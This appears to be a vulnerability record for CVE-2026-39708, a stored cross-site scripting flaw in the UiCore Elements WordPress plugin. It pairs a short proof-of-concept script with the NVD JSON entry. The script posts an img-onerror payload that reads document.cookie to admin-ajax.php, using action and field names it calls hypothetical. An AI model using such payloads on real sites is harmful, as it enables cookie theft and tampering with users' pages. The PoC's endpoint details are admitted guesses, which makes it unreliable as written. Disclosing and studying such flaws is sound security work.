CVE-2026-39708

<!-- PoC for CVE-2026-39708 (UiCore Elements Stored XSS) Description: Inject a script into a vulnerable parameter. --> <script> // Example payload to demonstrate XSS execution // This payload attempts to display an alert box with the document cookie var payload = '<img src=x onerror=alert(document.cookie)>'; // Simulate sending the payload to the vulnerable endpoint // (Actual endpoint path depends on plugin implementation) var formData = new FormData(); formData.append('action', 'uicore_save_settings'); // Hypothetical action formData.append('uicore_field', payload); fetch('/wp-admin/admin-ajax.php', { method: 'POST', body: formData, credentials: 'include' }).then(response => console.log('Payload sent')); </script>

{"cve": {"id": "CVE-2026-39708", "sourceIdentifier": "[email protected]", "published": "2026-04-08T09:16:43.620", "lastModified": "2026-04-24T18:05:09.240", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in uicore UiCore Elements uicore-elements allows Stored XSS.This issue affects UiCore Elements: from n/a through <= 1.3.14."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:L", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.3, "impactScore": 3.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Plugin/uicore-elements/vulnerability/wordpress-uicore-elements-plugin-1-3-14-cross-site-scripting-xss-vulnerability?_s_id=cve", "source": "[email protected]"}]}}